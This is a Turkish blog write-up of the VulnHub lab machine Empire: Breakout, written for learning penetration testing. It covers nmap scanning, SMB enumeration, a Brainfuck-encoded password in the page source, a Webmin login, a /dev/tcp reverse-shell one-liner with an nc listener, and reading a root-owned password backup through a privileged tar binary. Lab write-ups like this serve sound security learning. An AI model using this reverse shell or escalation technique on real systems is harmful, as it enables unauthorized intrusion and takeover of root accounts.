Empire: Breakout Nedir?
Empire: Breakout, benim gibi sızma testlerini öğrenmek ve bu alanda kendini geliştirmek isteyenler için VulnHub platformunda yayınlanmış, içinde zafiyet barındıran bir işletim sistemidir.
Sistemi indirmek için Empire: Breakout bağlantısını kullanabilirsiniz.
Gerekli kurulumları tamamladıktan sonra hedef sistem üzerinde keşif ve sızma testi aşamalarına geçebilirsiniz.
Keşif
İlk olarak, hedef sistemin DHCP'den aldığı IP adresini tespit etmemiz gerekiyor. Bu işlem için netdiscover veya nmap araçlarını kullanabilirsiniz. Ben bu aşamada nmap kullanarak hedef sistemin IP adresini tespit edeceğim.
Yapacağım işlem, kısaca kendi cihazımın bulunduğu IP bloğundaki tüm cihazlara bir ICMP mesajı göndermek ve gelen yanıtlara göre hangi cihazların aktif olduğunu tespit etmek olacak.
nmap -sP 172.16.13.0/24
Hedef sistemin IP adresini 172.16.13.133 olarak tespit ettim.
Hedef Sistemde Hangi Servisler Çalışıyor?
Hedef sistemin IP adresini tespit ettik. Şimdi bu hedefin hangi servislerinin çalıştığını öğrenmemiz gerekiyor. Bunun için yine nmap aracını kullanarak hedef sistemin portlarına TCP SYN taraması yapıp hangi servislerin çalıştığını anlamaya çalışacağız.
nmap 172.16.13.133 -sS -p- -O
Hedef sistemde kısaca HTTP, NETBIOS, SMB ve şu anda bilmediğim 10000 ve 20000 portlarında çalışan snet-sensor-mgmt ve dnp servisleri bulunmaktadır.
Hedef sistemle ilgili bilgi edinmek için SMB servisini kullanacağım, yani 445. portu hedef alacağım. Ancak öncelikle, SMB'nin ne olduğunu açıklamakta fayda var.
Nedir Bu SMB?
SMB (Server Message Block), TCP/IP'nin uygulama katmanında çalışan paylaşım protokolüdür. Bu protokol, bireysel cihazlara sahip kullanıcıların çeşitli kaynakları ve bilgileri paylaşabilmesini sağlar. SMB, dosya ve yazıcı paylaşımı, ağ üzerindeki kaynaklara erişim, oturum açma ve diğer ağ tabanlı işlemler için kullanılır. Bir protokoldür
Bu noktada Samba'yı da açıklamak gerekir. Samba, SMB protokolünü kullanarak Windows ve Linux tabanlı sistemler arasında dosya ve yazıcı paylaşımını mümkün kılan açık kaynaklı bir yazılım paketidir. Samba, farklı işletim sistemleri arasındaki uyumsuzluğu gidererek, kullanıcıların bu sistemler üzerinde kaynakları güvenli bir şekilde paylaşmalarını sağlar. Özellikle Linux sistemlerin Windows ağlarında dosya ve yazıcı hizmetleri sunmasını mümkün kılar.
SMB Enumeration
Hedef sistemimizde SMB servisinin çalıştığını ve bu servisin ne olduğu hakkında artık bir fikrimiz var. Bu paylaşım protokolünün sunduğu bilgiler ışığında hedef sistemimizle alakalı çeşitli bilgiler edineceğiz. Bu noktada bu bilgileri edinebileceğimiz çok sayıda araç bulunuyor; ancak ben en popüler olanlardan biri olan enum4linux aracını kullanacağım. Bu araç, SMB üzerinden Windows ve Linux sistemlerinin bilgilerini toplamak için kullanılır ve kullanıcı hesapları, paylaşımlar, grub bilgileri gibi değerli verileri hızlı bir şekilde elde etmemizi sağlar.
enum4linux 172.16.13.133 -A
Bu noktada enum4linux bize çok çeşitli bilgiler sağlıyor; ancak benim en çok dikkatimi çeken, hedef sistemde cyber adında bir kullanıcının olması.
Cyber'ın Parolası Ne?
Hedef sistemde uzunca bir süre neler yapabileceğimi keşfetmek adına çeşitli işlemler gerçekleştirmeye çalışıyorum, ancak sonuç hiç beklemediğim bir yerden geliyor.
Hedef sistemle alakalı keşif yaparken HTTP servisinin açık olduğunu fark etmiştik. Hedefin sunduğu web sayfasını ziyaret ettiğimde, hiçbir değişiklik yapılmamış olan bir Apache2 default web sayfasıyla karşılaştım. Bu durum, burayla ilgili herhangi bir işlemin hedef sistem veya cyber kullanıcısı hakkında bir bilgiye ulaşmamı sağlamayacağını düşündürüyordu. Taki, kaynak kodunu inceleyene kadar.
Sayfanın kaynak kodunu incelediğimizde, eğer biraz dikkatli bakarsak şu güzel mesajı görebiliriz:
Yapmamız gereken işlem şu an bu ifadenin ne olduğunu bulmak. Bu tür düzenli ifadeleri gördüğümde, doğrudan ifadenin kendisini Google'a yapıştırma alışkanlığım var. Örnek vermek gerekirse:
Bu sayede bu ifadenin hangi algoritma ile encrypt edildiğini öğrenebiliyoruz. Bu örnekte, kullanılan algoritma Brainf**k gibi.
Sayfaya gidip şifreyi çözdüğümde ise bir parolaya erişiyoruz.
Bir Kullanıcı Bir Parola
Şu anda hedef sistem için bir kullanıcı adı ve parola elimizde. Bu bilgileri nerede kullanabileceğimiz konusunda bir belirsizlik söz konusu. Keşif aşamasında hedef sistemde 10000 ve 20000 numaralı portlarda çalışan iki servis tespit etmiştik.
10000/tcp open snet-sensor-mgmt 20000/tcp open dnp
Açıkça söylemek gerekirse, bu servislerin ne olduğu hakkında tam bir bilgiye ulaşamadım. Ancak, Firefox üzerinden bu portların bir web arayüzüne sahip olup olmadığını kontrol ettiğimde, 10000 numaralı portta Webmin kullanıcı giriş arayüzünün olduğunu fark ettim.
20000 numaralı portta çalışan servise, daha önce bulduğumuz cyber kullanıcı adı ve parola ile giriş yapmayı denediğimizde başarılı bir şekilde erişim sağlıyoruz.
Burada Webmin arayüzünü biraz incelediğimizde, hedef sistemde cyber kullanıcısı ile bir terminal oturumu açabildiğimizi fark ediyorum. Bu oturum sayesinde hedef sistemdeki ilk flag'i bulup erişebiliyorum.
Burada bu web arayüzüyle çalışmayı pek tercih etmediğim için, bir reverse shell oluşturarak kendi terminalime geçmek istiyorum. Bunun için RevShells sitesinden faydalanıyorum.
sh -i >& /dev/tcp/172.16.13.128/4545 0>&1
nc -lvnp 4545
Bu noktada artık hedef sistemdeyiz. cyber kullanıcısının home klasöründeki dosyaları incelediğimde, tar dosyasının izinleri dikkatimi çekiyor. Dosyayı kontrol ettiğimde bunun, çalıştırılabilir bir tar uygulaması olduğunu fark ediyorum.
Uzun Süre Arama
Hedef sistemi uzun bir süre boyunca gezdim, ancak ne yapacağım konusunda bir ipucu bulamadım. Bu nedenle biraz araştırma yaptıktan sonra /var/backups/ dizinini inceledim ve şu dosyalarla karşılaştım:
.old_pass.bak dosyasını okumam gerekiyor, ancak bu dosya root kullanıcısına ait olduğu için cyber kullanıcısı olarak erişim sağlayamıyorum. Bu noktada, tar'ın yetki yükseltme amacıyla kullanılabileceğini düşünüyorum.
Kısaca yapacağım işlem, tar'ı kullanarak .old_pass.bak dosyasını sıkıştırmak ve ardından aynı kullanıcı (cyber) yetkileriyle bu dosyayı yeniden açmak olacak.
Görüldüğü gibi .old_pass.bak dosyasını cyber kullanıcısının okuyabileceği şekilde yeniden oluşturduk. Dosyayı okuduğumuzda ise:
Bu parola ile root kullanıcısına geçiş yapıp root kullanıcısının home klasöründe neler olduğunu kontrol ediyorum.
The End
Son flag'imizi root kullanıcısının home klasöründeki rOOt.txt
dosyasını elde ederek bu sızma testini burada sonlandırmış bulunuyoruz.
Sabır ve Merak
Genel olarak, diğer yaptığım sızma testlerine nazaran bu makinenin biraz daha kolay olduğunu düşünüyorum. Uzun süre arama sürecinde yazdığım arama kısmı, yazımda çok çabuk buldum gibi görünse de aslında zamanımı büyük ölçüde aldı. Bir diğer nokta ise, yaptığım sızma testleri öğrenmeye yönelik olduğu için bazı yerlerde bariz hatalar bırakılıyor olması. Örneğin, bu sızma testinde neden tar dosyası var ve yetkileri neden böyle, ya da neden Apache'nin default sayfasına bir insan hesabının parolasını koyar gibi sorular aklıma geliyor. Gerçek hayatta bu tarz hatalarla karşılaşmam muhtemel değil. Ancak yine de keyifli bir makineydi; emeği geçenlere teşekkür etmem gerekiyor.
Teşekkürler
Bu yazımı okuduğunuz için teşekkür ederim. Ben hem yazarken hem de makineyi çözmeye çalışırken gerçekten eğlendim, umarım siz de keyifle okumuşsunuzdur.
Bir sonraki makinemi çözene kadar, esen kalın.